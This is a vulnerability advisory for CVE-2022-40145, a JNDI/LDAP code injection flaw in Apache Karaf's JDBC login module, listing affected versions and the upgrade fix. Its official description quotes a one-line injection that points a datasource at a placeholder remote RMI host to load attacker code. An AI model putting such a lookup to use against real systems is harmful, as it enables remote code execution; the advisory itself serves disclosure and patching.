CVE-2022-40145 Apache Karaf: JDBC JAAS LDAP injection
Attackers can achieve remote code execution in Apache Karaf by controlling the target LDAP server when a JNDI LDAP data source URI is configured.
- Exploited in the wild
- Not known
- Login needed
- Not needed
- Attackable
- Over the internet
- Victim action needed
- Not needed
- Fix
- Available
What is CVE-2022-40145?
CVE-2022-40145 is a critical code injection vulnerability in Apache Karaf, published on 21 Dec 2022. An attacker can exploit it over the internet without logging in, with no action from the victim.
Official description
This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.
The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup.
This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.
We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8
Which versions are affected by CVE-2022-40145?
4 open source packages ship an affected version, including org.apache.karaf:apache-karaf. It affects 1 product.
| Package | Affected | Fixed in |
|---|---|---|
org.apache.karaf:apache-karaf Maven | All versions | 4.3.8 |
org.apache.karaf:apache-karaf Maven | All versions | 4.3.8 |
org.apache.karaf:apache-karaf Maven | From 4.4.0 | 4.4.2 |
org.apache.karaf:apache-karaf Maven | From 4.4.0 | 4.4.2 |
Products include Apache Karaf.
How do I fix CVE-2022-40145?
Upgrade org.apache.karaf:apache-karaf to a fixed version for your release line: 4.3.8 or 4.4.2.
Upgrade, and never evaluate templates, expressions or code built from user input. More about Code injection.
Is CVE-2022-40145 being exploited?
There is no known exploitation of CVE-2022-40145 in the wild and no public exploit code.
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- CVE-2018-11788 XML External Entity Reference in Apache Karaf
- CVE-2026-92142 Apache Karaf: Authorization bypass in JMX MBean lifecycle operations
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Sources
Also known as GHSA-c2p4-8mvv-rwmv.